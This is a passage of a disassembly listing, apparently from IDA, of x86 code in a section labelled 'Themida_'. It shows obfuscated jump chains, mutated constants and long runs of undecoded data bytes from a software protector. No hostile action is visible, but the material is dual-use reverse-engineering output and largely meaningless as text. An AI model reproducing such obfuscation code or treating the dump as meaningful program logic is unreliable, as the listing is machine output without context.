		dd 6824048Fh, 75B7h, 0E9240C89h, 0FFFF2BCFh
; ---------------------------------------------------------------------------


loc_56047C:				; CODE XREF: Themida_:00560EACj
		mov	[esp], edx
		mov	edx, 75B23405h
		push	edx
		sub	dword ptr [esp], 611F3CB7h
		pop	esi
		jmp	loc_55C1C4
; ---------------------------------------------------------------------------
word_560492	dw 34FFh		; DATA XREF: Themida_:0054FCF0o
		dd 2434FF24h, 8B2434FFh, 0C4832414h, 4C48104h, 68000000h
		dd 188Dh, 0FF0A91E9h, 0D0E951FFh, 56FFFF8Bh, 0FF2C48E9h
		dd 11E981FFh, 81FCFB17h, 8E39C3E9h, 0E9E9D15Fh,	0FFFFF8E1h
; ---------------------------------------------------------------------------


loc_5604D0:				; CODE XREF: Themida_:0055A91Bj
		mov	ebx, 32323D5Ch
		sub	eax, ebx
		pop	ebx
		add	eax, 27F4C38h
		jmp	loc_5626E3
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 914549Bh, 6FF5EA81h,	0B9517B0Dh, 5B0B0450h, 56D3B850h
		dd 0C109235Bh, 8124048Bh, 4C4h,	0E9565700h, 0FFFF1876h
		dd 1AE9D189h
		db 17h,	2 dup(0FFh)
byte_560513	db 0FFh			; DATA XREF: Themida_:0054FC60o
a4S?		db '4$é?',0Ah,0
		db 0
; ---------------------------------------------------------------------------


loc_56051B:				; CODE XREF: Themida_:00560396j
		add	esi, edx
		jmp	loc_55B912
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 485438CEh, 0FAB9515Ch, 110D204h, 240C8BCEh, 4C481h
		dd 0DEE90000h, 66FFFFFDh, 7E34E581h, 53E95266h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56054B:				; CODE XREF: Themida_:005546E9j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_562878
; ---------------------------------------------------------------------------


loc_56055B:				; CODE XREF: Themida_:0055F341j
		push	ecx
		jmp	loc_55573B
; ---------------------------------------------------------------------------


loc_560561:				; CODE XREF: Themida_:0055AA88j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5608DE
; ---------------------------------------------------------------------------


loc_56056F:				; CODE XREF: Themida_:00557AE7j
		push	eax
		jmp	loc_55EC75
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0A2CBB2B9h, 59C889DFh, 42E9C629h
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560587:				; CODE XREF: Themida_:00559CA7j
		mov	edi, 6F750945h
		mov	edx, edi
		pop	edi
		sub	eax, edx
		jmp	loc_5521E6
; ---------------------------------------------------------------------------
		dw 0D2BBh
		dd 0E955C804h, 0FFFFFD90h, 148BD001h, 0BA96E924h, 0C483FFFFh
		dd 329FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5605B2:				; CODE XREF: Themida_:0055D3DFj
		sub	bx, 4087h
		sub	bx, 32Ch
		jmp	loc_556073
; ---------------------------------------------------------------------------


loc_5605C1:				; CODE XREF: Themida_:0055E12Cj
		push	77F67E17h
		pop	edi
		jmp	loc_5608BC
; ---------------------------------------------------------------------------


loc_5605CC:				; CODE XREF: Themida_:005616DCj
		pop	esp
		jmp	loc_564F75
; ---------------------------------------------------------------------------
		dw 0CF31h
		dd 0FF7BC9E9h, 180E68FFh, 2C890000h, 4A685124h,	5958FD62h
		dd 8102E9C1h, 0C71340E1h, 0FFC18322h, 7105BB53h, 0C1434ED6h
		dd 0E94304EBh, 0FFFFB4CBh, 42474FFh, 0FFAD00E9h, 240487FFh
		dd 5BA525Ch, 315A067Eh,	2C34E9D5h, 2BA0000h, 1000000h
		dd 34335AD6h, 1C8DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56062E:				; CODE XREF: Themida_:00550D3Aj
		xor	[esp], eax
		jmp	loc_55745E
; ---------------------------------------------------------------------------


loc_560636:				; CODE XREF: Themida_:0055AB26j
		push	3172h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558FD7
; ---------------------------------------------------------------------------
		db 31h,	0C2h, 0E9h
		dd 0FFFF610Dh
aQs		db 'QéÁ(',0             ; DATA XREF: Themida_:0054FC88o
		align 2
		db '½',0
		dd 0E9414C0Ch, 1E62h, 0DA88CB88h, 5788595Bh, 24148B38h
		dd 0FFB4BCE9h, 37E95DFFh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560677:				; CODE XREF: Themida_:00559A5Cj
		mov	esi, eax
		jmp	loc_55E523
; ---------------------------------------------------------------------------
word_56067E	dw 28Fh			; DATA XREF: Themida_:0054FC38o
		dd 0FEF892E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560685:				; CODE XREF: Themida_:00550D31j
		push	edi
		mov	edi, 7528753Fh
		push	ebp
		mov	ebp, edi
		mov	esi, ebp
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_553405
; ---------------------------------------------------------------------------
		db 5Dh,	2Dh, 54h
		dd 8133290Ah, 791F64C6h, 81C6011Bh, 791F64EEh, 2434FF1Bh
		dd 4C48358h, 4EE81h, 0FF560000h, 5E042474h, 0E924048Fh
		dd 0FFFF53F7h, 3304C183h, 0C31240Ch, 240C3324h,	0E924248Bh
		dd 4C60h, 816CEF68h, 0FE95E1Ch
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5606EB:				; CODE XREF: Themida_:0055BB75j
		add	ecx, ebp
		pop	ebp
		sub	ecx, ebp
		sub	ecx, 605D20AFh
		jmp	loc_5552F8
; ---------------------------------------------------------------------------
		db 0C1h
		dd 15E903EAh
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560703:				; CODE XREF: Themida_:00558CA8j
		sub	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_552A9D
; ---------------------------------------------------------------------------


loc_560717:				; CODE XREF: Themida_:00559BD0j
		shl	esi, 5
		dec	esi
		shr	esi, 6
		add	esi, 23E64367h
		mov	edx, esi
		jmp	loc_554E99
; ---------------------------------------------------------------------------
		db 68h
		dd 3905h, 0B8240489h, 751A0E6Eh, 5604E0C1h, 45892BEh, 7AB9512Ah
		dd 0E902585Fh, 0FFFFDF9Ah, 4EB8C181h, 0C1010D51h, 4EB8BA52h
		dd 0C1810D51h, 2E3863F6h, 3AE9D129h, 83FFFF39h,	48904ECh
		dd 3BE95224h, 8FFFFF62h, 335C2404h, 1C31241Ch, 241C3324h
		dd 0FF52CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560785:				; CODE XREF: Themida_:0055E2C8j
		push	edx
		mov	edx, 4278191Eh
		add	ebx, edx
		pop	edx
		xor	ebx, 0D2D5AE3Dh
		mov	ebp, ebx
		pop	ebx
		mov	ebx, 3E5B7EBCh
		sub	ebx, ebp
		jmp	loc_5569ED
; ---------------------------------------------------------------------------


loc_5607A3:				; CODE XREF: Themida_:00559999j
		and	eax, edx
		jmp	loc_554A9B
; ---------------------------------------------------------------------------
		dw 1489h
aIth		db '$‰âh',0Dh,0Dh,0
		align 4
		dd 56242C89h, 0B850E689h, 4, 0FF0009E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5607C5:				; CODE XREF: Themida_:00555784j
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, 77FE4DF1h
		push	ecx
		push	eax
		mov	eax, 4FC847D3h
		add	[esp+4], eax
		pop	eax
		pop	dword ptr [edi+24h]
		push	edx
		jmp	loc_560E37
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 5CD7B924h, 0D1F71B46h, 0BCEBF181h, 0CD319D58h, 0FFE044E9h
		dd 26C981FFh, 817E0901h, 1C1h, 2DF18100h, 1516B22h, 0C38159CBh
		dd 7C2E4106h, 0BFE951h,	0E95FFFFFh, 0FFFEF6F3h
; ---------------------------------------------------------------------------


loc_560824:				; CODE XREF: Themida_:00551B45j
		pop	ecx
		shl	ebx, 6
		dec	ebx
		jmp	loc_55ABF3
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4FE2536Ch, 0D5E9FD01h, 0FFFFFFD4h, 0E9042474h, 0FFFF2315h
		dd 3C7568h, 24348900h, 8904EC83h, 0D3E9240Ch, 5AFFFFBCh
		dd 515AD001h, 8904EC83h, 0D5BA2414h, 5664C15Dh,	4580E9h
		dd 81D2F700h, 6C2E30EAh, 56D2F71Ah, 366C8BBEh, 5EF23192h
		dd 61ABBA52h, 0D001649Bh, 2DD0015Ah, 649B61ABh,	0FFE22AE9h
		dd 63C381FFh, 81394657h, 0C009BBEBh, 8F6634h, 0FF2B25E9h
		dd 2FC781FFh, 0E9172F5Fh, 3C2Ah, 0E9241C89h, 0D39h
; ---------------------------------------------------------------------------


loc_5608BC:				; CODE XREF: Themida_:005605C7j
		shr	edi, 7
		or	edi, 52D34242h
		and	edi, 1B317EE5h
		xor	edi, 12316EE0h
		mov	ebp, edi
		pop	edi
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_5640D3
; ---------------------------------------------------------------------------


loc_5608DE:				; CODE XREF: Themida_:0056056Aj
		push	edx
		mov	edx, 1AC95346h
		inc	edx
		xor	edx, 6542002h
		jmp	loc_55F274
; ---------------------------------------------------------------------------
		dd 123311BAh, 5AD02943h, 5CDE68h, 24348900h, 2A685350h
		dd 5B0B2619h, 0FFFFEB81h, 0DBF7FFFFh, 32C2C381h, 0D8897A3Ah
		dd 5E18E95Bh, 3489FFFFh, 27D1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560926:				; CODE XREF: Themida_:0055E66Ej
		push	esi
		mov	esi, 536D6B53h
		not	esi
		neg	esi
		jmp	loc_5562B8
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 7Fh
		dd 52524960h, 5A240CFFh, 0CFE5EA81h, 0A6E9E3F4h, 5C000045h
		dd 0FFE87CE9h, 33368FFh, 3C890000h, 51E78924h, 4B9h, 59CF0100h
		dd 4C781h, 3C870000h, 0F953E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_560972:				; CODE XREF: Themida_:0056361Cj
		sub	edi, 4
		jmp	loc_5503CD
; ---------------------------------------------------------------------------


loc_56097A:				; CODE XREF: Themida_:00551E54j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esi
		mov	esi, 38150652h
		mov	ecx, 578635DDh
		jmp	loc_550E65
; ---------------------------------------------------------------------------


loc_5609A5:				; CODE XREF: Themida_:005554EFj
		push	ebx
		mov	ebx, 2DFE6445h
		sub	[esp+4], ebx
		pop	ebx
		pop	ecx
		add	ecx, 2DFE6445h
		pop	eax
		push	ebx
		mov	ebx, 80h
		and	ecx, ebx
		jmp	loc_554615
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0
		dd 29000000h, 5AD789FAh, 0FF2A6EE9h, 68C328FFh,	5CAh, 52240489h
		dd 885169B2h, 0CB8853D1h, 595BDC88h, 4ECC05Ah, 0E903ECC0h
		dd 0FFFF2221h
; ---------------------------------------------------------------------------


loc_5609F8:				; CODE XREF: Themida_:00563069j
		inc	edx
		add	edx, 56D66B6Eh
		push	27E2h
		mov	[esp], esi
		mov	esi, edx
		mov	edi, esi
		pop	esi
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55EEC1
; ---------------------------------------------------------------------------
		db 58h
		dd 270E685Eh, 64E90000h, 68FFFFE9h, 0B6h, 66240489h, 663E4D68h
		dd 9F356658h, 0EB356644h, 0C3896667h, 5C296658h, 64E90424h
		dd 31FFFF79h, 0B97BE9E8h, 0EAC1FFFFh, 56F28103h, 8973C228h
		dd 0D6355AD0h, 0E90DB979h, 0FFFFB040h, 0CEEEE95Dh, 0D001FFFFh
		dd 0F568535Ah, 5B7A1007h, 11D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_560A7D:				; CODE XREF: Themida_:00550478j
		push	56DDh
		mov	[esp], edx
		jmp	loc_557B44
; ---------------------------------------------------------------------------
		dw 868h
		dd 89000067h, 0B652240Ch, 56C680F9h, 0AAE9F588h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560A9F:				; CODE XREF: Themida_:00559A87j
		add	ebx, 4
		jmp	loc_563929
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 7E45860Dh, 0BE9F929h, 68FFFF4Dh, 3268h, 89240489h, 405E0h
		dd 3DE90000h, 6800000Eh, 38AE0A72h, 0D451E959h,	0EA81FFFFh
		dd 0F325A8Ah, 0C281CA01h, 0F325A8Ah, 2C28359h, 2474FF52h
		dd 2434FF04h, 5A2434FFh, 4C481h, 96E90000h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560AFF:				; CODE XREF: Themida_:00554D4Cj
		pop	esi
		mov	edx, ecx
		pop	ecx
		jmp	loc_558546
; ---------------------------------------------------------------------------


loc_560B08:				; CODE XREF: Themida_:0055DC12j
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 4B373EC6h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 36B00316h
		sub	[esp+8], edx
		pop	edx
		pop	ebx
		jmp	loc_558564
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 22h
		dd 5E39DC55h, 262CF781h, 1EE9C39Bh, 66FFFFF9h, 486DE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B46:				; CODE XREF: Themida_:0055C4AEj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_561A62
; ---------------------------------------------------------------------------


loc_560B5B:				; CODE XREF: Themida_:005517F4j
		add	ebp, esi
		jmp	loc_554BC3
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0E0685524h, 8B00821Ch, 8950242Ch, 405E0h, 0C0830000h
		dd 0FA8FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B7E:				; CODE XREF: Themida_:00558720j
		xchg	eax, [esp]
		jmp	loc_55D0D8
; ---------------------------------------------------------------------------
		dd offset dword_434E64+4
		dw 8900h
		dd 3668240Ch, 89000054h, 4812424h, 424h, 2434FF00h, 0FF3959E9h
		dd 240C89FFh, 0E90FB353h, 1F1Ah, 0D057D4BDh, 30C5814Eh
		dd 1B12FA8h, 242C8BEFh,	4C481h,	0EF810000h, 4, 5C243C87h
		dd 68240C89h, 24CDh, 50241C89h,	9734F1B8h, 2E8C16Ah, 7E8C148h
		dd 0EF759405h, 0A267053Dh, 7EE9EB3Ch, 0D0FFFFD5h, 0E9C2FEE2h
		dd 0FFFFAD34h, 0E904E883h, 0FFFFE183h, 0C9582D5Fh, 0C32113BAh
		dd 0FF5071E9h, 0E9D1F7FFh, 2D57h, 0D73E1B68h, 24348B78h
		dd 4C481h, 0C6810000h, 0B181DD73h, 415EF189h, 2026E181h
		dd 89531BE3h, 0EE90E9E3h, 815AFFFFh, 0F22185EFh, 81F7015Dh
		dd 0F22185C7h, 3C335E5Dh, 243C3124h, 8B243C33h,	0BDE92424h
		dd 0C1FFFF11h, 0A4E908EEh
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C6B:				; CODE XREF: Themida_:0055A3FEj
		pop	esp
		xchg	ax, [esp]
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FFEEB6E9h, 369B68FFh, 2C890000h, 5E93BD24h,	0FDE9192Dh
		dd 56FFFF3Fh, 771157BEh, 48F8E95Fh, 555A0000h, 0FFD998E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560CA1:				; CODE XREF: Themida_:00563A5Dj
		add	esi, 4
		jmp	loc_55BB82
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 2404BB0Fh, 0F25DE99Ch, 74FFFFFEh,	0E95E0424h
		dd 0FFFF4257h
; ---------------------------------------------------------------------------


loc_560CC4:				; CODE XREF: Themida_:0055766Fj
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		jmp	loc_559899
; ---------------------------------------------------------------------------
		dd 0F747E7D1h, 47F781DFh, 810843E5h, 0F83003EAh, 81FA0156h
		dd 0F83003C2h, 0D0315F56h, 4EC835Ah, 89240C89h,	595E51C1h
		dd 0EC834E58h, 0FED4E904h, 5153FFFEh, 5467C0B9h, 81D1F75Fh
		dd 701805C1h, 50E18138h, 8143214Dh, 634E11C1h, 59CB89F5h
		dd 57BE956h, 0EE80FFFFh, 56D72C39h, 0C681E689h,	4, 8704EE83h
		dd 248B2434h, 241C8924h, 792C70B3h, 7904D800h, 0DB045Bh
		dd 52DB2CF0h, 0F6808CB6h, 5AF028FCh, 148BD704h,	4C48324h
		dd 5A116851h, 1C890000h, 52D8B324h, 0D588DA88h,	0E924148Bh
		dd 0FFFFB1ADh
dword_560D7C	dd 0E92434FFh, 0FFFF864Bh, 8924248Bh, 0E9512404h, 0FFFFE164h
					; DATA XREF: Themida_:0054FE38o
		dd 0F6E95357h, 68000014h, 40844700h, 0B904BA5Eh, 0F201BF7Bh
		dd 0FFD7015Eh, 0E95A2434h, 0FFFFF01Bh, 57E5815Eh, 817DF200h
		dd 0E0000CEDh, 0FFEB896Ch, 815D2434h, 4C4h, 0BD555000h
		dd 7F9B3CB1h, 4EC81h, 2C890000h, 3D3BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560DDE:				; CODE XREF: Themida_:00558E2Bj
		add	esp, 4
		push	1F1Dh
		jmp	loc_55247B
; ---------------------------------------------------------------------------
		dw 0CB2h
		dd 0FF019BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560DF5:				; CODE XREF: Themida_:005623AAj
		push	esp
		push	dword ptr [esp]
		jmp	loc_55AA3C
; ---------------------------------------------------------------------------


loc_560DFE:				; CODE XREF: Themida_:0054FF4Fj
		push	eax
		mov	eax, 2
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_55D41E
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0FB4BE924h, 483FFFEh, 98E90424h, 66FFFF2Ch, 2404BB0Fh
		dd 0A4EEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560E2A:				; CODE XREF: Themida_:0055F105j
		sub	eax, edi
		add	eax, 14BE27E2h
		pop	edi
		jmp	loc_5535F0
; ---------------------------------------------------------------------------


loc_560E37:				; CODE XREF: Themida_:005607E1j
		mov	edx, 4FC847D3h
		sub	[edi+24h], edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_557267
; ---------------------------------------------------------------------------
		dd 0E9CBB450h, 0FFFF5D01h, 0FFC6015Dh, 81582434h, 4C4h
		dd 5F545700h, 1632E951h, 0E04FFFFh, 0E2CD828h, 535BE62Ch
		dd 0B7D3B050h, 4DEF8073h, 0C780C700h, 2434FF4Dh, 4C48158h
		dd 66000000h, 9000E951h, 1C33FFFFh, 241C3124h, 0FFB3D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E99:				; CODE XREF: Themida_:00559633j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_54FF17
; ---------------------------------------------------------------------------


loc_560EA9:				; CODE XREF: Themida_:00553E80j
		sub	esp, 4
		jmp	loc_56047C
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 7FE90000h, 100003Ah,	68575DEBh, 2, 0FFFB015Fh, 815F2434h
		dd 4C4h, 0E7E95300h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560ED7:				; CODE XREF: Themida_:00557A60j
		add	ebx, 69862A17h
		add	ebx, ebp
		push	eax
		mov	eax, 69862A17h
		sub	ebx, eax
		pop	eax
		pop	ebp
		jmp	loc_564037
; ---------------------------------------------------------------------------


loc_560EEE:				; CODE XREF: Themida_:00559466j
		add	ebp, 4
		jmp	loc_561519
; ---------------------------------------------------------------------------


loc_560EF9:				; CODE XREF: Themida_:0055A805j
		xor	eax, edi
		xor	edi, eax
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		not	ebp
		xchg	eax, ebp
		jmp	loc_55AEA4
; ---------------------------------------------------------------------------


loc_560F0B:				; CODE XREF: Themida_:005524ADj
		mov	[esp], edx
		jmp	loc_554088
; ---------------------------------------------------------------------------
		db 0B5h
		dd 0D7CD802Fh, 0E5D0DDF6h, 0C013F580h, 2DE905EDh, 5C00002Fh
		dd 0E9240489h, 0FFFF8708h, 8749CD87h, 9291E9CDh, 348BFFFFh
		dd 4C48324h, 8724048Fh,	87D5F7EEh, 243431EEh, 31243433h
		dd 34FF2434h, 3092E924h, 34FF0000h, 24048B24h, 67EB6856h
		dd 3CE90000h, 8BFFFF67h, 0C483240Ch, 24043304h,	33240431h
		dd 248B2404h, 0F9F76624h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h
		dd 68241C89h, 3DC4h, 0FF4663E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560F9D:				; CODE XREF: Themida_:0055D085j
		mov	edx, 4
		jmp	loc_55CC68
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 8702EB83h, 248B241Ch,	0C896624h, 3D686624h
		dd 1489661Dh, 773C6824h, 4890000h, 0FE1EB424h, 0F9CC80CCh
		dd 0D4F6CCFEh, 0FFC2B0E9h, 80E381FFh, 0E96EFC16h, 0FFFF7EBEh
		dd 4C481h, 5DE90000h, 0F7000003h, 243C87D7h, 57D0F758h
		dd 0FF8B16E9h, 336D35FFh, 0C5810A67h, 10D67C3Ch, 0ED81C501h
		dd 10D67C3Ch, 0E9F50158h, 0FFFFB8A7h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFEEEEBh, 53240489h, 0E980B450h, 0FFFF02B0h
		dd 4240481h, 59000000h,	4C181h,	68570000h, 4, 5FF9295Fh
		dd 0FF8E8CE9h, 3EDC1FFh, 0FB0CC581h, 5BE94E63h
		db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_561063:				; CODE XREF: Themida_:0055AC5Dj
		mov	[esp], edx
		jmp	loc_54FFD3
; ---------------------------------------------------------------------------
		db 89h
		dd 0E954242Ch, 0FFFF9ED2h
; ---------------------------------------------------------------------------


loc_561074:				; CODE XREF: Themida_:0055E060j
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_558BD4
; ---------------------------------------------------------------------------
		db 56h
		dd 165FE954h, 0C483FFFFh, 4BE5604h, 1000000h, 1C875EF3h
		dd 24248B24h, 4968E9F7h, 89000047h, 0FDE92414h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5610AF:				; CODE XREF: Themida_:0055EA1Aj
		mov	ebx, 0FFD7F8FDh
		add	edi, ebx
		jmp	loc_5630DE
; ---------------------------------------------------------------------------
		db 0B1h
		dd 66D9F648h, 30C0B753h, 815B66F9h, 2ECh, 8216E900h, 0BE56FFFFh
		dd 36085DF4h, 0F681EED1h, 103B6F6Dh, 7E04EE81h,	4EE95985h
		dd 29FFFF8Bh, 34875BDEh, 24248B24h, 24148966h, 0E99C5066h
		dd 0FFFEEE17h
; ---------------------------------------------------------------------------


loc_561100:				; CODE XREF: Themida_:005528D0j
		and	esi, edx
		pop	edx
		sub	esi, 6E2B29F7h
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_554593
; ---------------------------------------------------------------------------


loc_56111D:				; CODE XREF: Themida_:005576EEj
		mov	esp, [esp]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_555662
; ---------------------------------------------------------------------------


loc_56112D:				; CODE XREF: Themida_:005640CEj
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_55582A
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 2
		dd 5C241487h, 5DE82966h, 2F3B6866h, 240C8966h, 0FF98B966h
		dd 0BB665366h, 81E90F2Bh, 51000044h, 4B9h, 244C0100h, 5CACE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56117A:				; CODE XREF: Themida_:0055B86Cj
		add	esp, 4


loc_561180:				; CODE XREF: Themida_:0055BBF0j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_555341
; ---------------------------------------------------------------------------
		db 2Ch,	34h, 0E9h
		dd 0FFFF769Bh, 0BB241C89h, 0ED8534Bh, 0D3F7DBF7h, 0B8D0C381h
		dd 0D8291945h, 6BC9685Bh, 4890000h, 4A585A24h, 3CA7F281h
		dd 0F281714Ah, 2A9D721Fh, 1F28EE81h, 0D6296CE6h, 1F28BA52h
		dd 0D6016CE6h, 0FF3BC2E9h, 80E700FFh, 8FE9D1C7h, 5AFFFF48h
		dd 0FF53F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5611E5:				; CODE XREF: Themida_:0056213Dj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_553F94
; ---------------------------------------------------------------------------
		dw 3359h
		dd 3C31243Ch, 243C3324h, 0C8B60F5Ch, 7D3468h, 24348900h
		dd 2B668h, 48F5400h, 4EC8324h, 0E9241489h, 0FFFF61C0h
		dd 4BB53h, 0D9290000h, 74FF515Bh, 0E9590424h, 0FFFFE8BAh
dword_561234	dd 5324048Bh, 518C68h, 779E900h, 74FF0000h, 1C8B0424h
					; DATA XREF: Themida_:0054FD54o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 39D6423h
		push	edi
		jmp	loc_552DB0
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4296624h, 0ACE99C24h
		db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56126B:				; CODE XREF: Themida_:0055B4F7j
		mov	eax, 339717BAh
		sub	eax, 1
		shl	eax, 2
		and	eax, 18A33E86h
		push	edx
		mov	edx, 7B1F0C6Ch
		or	eax, edx
		jmp	loc_55FF65
; ---------------------------------------------------------------------------
		dd 0C71FE953h, 84E9FFFFh, 8BFFFEECh, 8952242Ch,	4C281E2h
		dd 81000000h, 4ECh, 240C8900h, 4B9h, 59CA0100h,	5C241487h
		dd 0FFFFBA52h, 0D129FFFFh, 6896E95Ah, 8059FFFFh, 0C68074E6h
		dd 5AF000E5h, 5366C828h, 0FFC1F5E9h, 4EC81FFh, 89000000h
		dd 0C568243Ch, 5F7C0F16h, 8104EFC1h, 0A71CE5C7h, 0B3C78150h
		dd 57A797F1h, 7D51BE56h, 7429759Eh, 5A5E0424h, 7D51B850h
		dd 0C201759Eh, 0FFE211E9h, 4EA83FFh, 0E904EC83h, 4063h
		dd 1ED81h, 0E5810000h, 490F454Bh, 44BAC581h, 0E801FB45h
		dd 58C2315Dh, 815AD701h, 4C7h, 243C3300h, 33243C31h, 248B243Ch
		dd 2434FF24h, 0E924048Bh, 0FFFF8E3Fh, 0BE565152h, 706D5625h
		dd 6D5629B9h, 5EF12970h, 56E9CA89h, 81FFFF47h, 9E02F7E9h
		dd 8EF4E900h, 0C281FFFFh, 4, 4EA81h, 14330000h,	24143124h
		dd 0E9241433h, 0FFFFAE1Dh
; ---------------------------------------------------------------------------


loc_56138C:				; CODE XREF: Themida_:00562B65j
		mov	esi, 764679EBh
		jmp	loc_5613B1
; ---------------------------------------------------------------------------
		dw 0CDFEh
		dd 0FFEFFEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56139D:				; CODE XREF: Themida_:005555E6j
		neg	eax
		inc	eax
		sub	eax, 0BE09E83Ch
		sub	edi, eax
		pop	eax
		pop	esi
		xchg	edi, [esp]
		jmp	loc_5634D5
; ---------------------------------------------------------------------------


loc_5613B1:				; CODE XREF: Themida_:00561391j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
		db 5Ch,	8Bh, 0Ch
		dd 4C48124h, 1000000h, 0BE565EF7h, 2, 835EF701h, 3C8904ECh
		dd 2474FF24h, 48F5F04h,	24248B24h, 0FF85F1E9h, 58C331FFh
		dd 3D1EF81h, 0C7811733h, 397B7918h, 0FFBFAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561401:				; CODE XREF: Themida_:0055E00Bj
		not	eax
		jmp	loc_5524EE
; ---------------------------------------------------------------------------


loc_561408:				; CODE XREF: Themida_:00561B76j
		add	bl, 81h
		sub	bl, al
		push	eax
		jmp	loc_55A5B7
; ---------------------------------------------------------------------------
		db 81h
		dd 0FAE58FC6h, 0EBDE930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56141E:				; CODE XREF: Themida_:00551E38j
		mov	ebp, [esp]
		jmp	loc_55BBCC
; ---------------------------------------------------------------------------
word_561426	dw 8B66h		; DATA XREF: Themida_:0054FC70o
		dd 15E92404h, 81000004h, 9348D5F7h, 0FFF93147h,	835F2434h
		dd 0E98104C4h, 31176331h, 8108E9C1h, 353733C9h,	0DAE98124h
		dd 81A8235Ch, 967BC9EAh, 0BFEA8163h, 53598132h,	0FF2262E9h
		dd 0CD295BFFh, 0FF9250E9h, 4C281FFh, 0E9000000h, 0FFFF0AC3h
		dd 0BF574848h, 8280840Ch, 1657EB05h, 0E9F80158h, 0FFFF1A8Eh
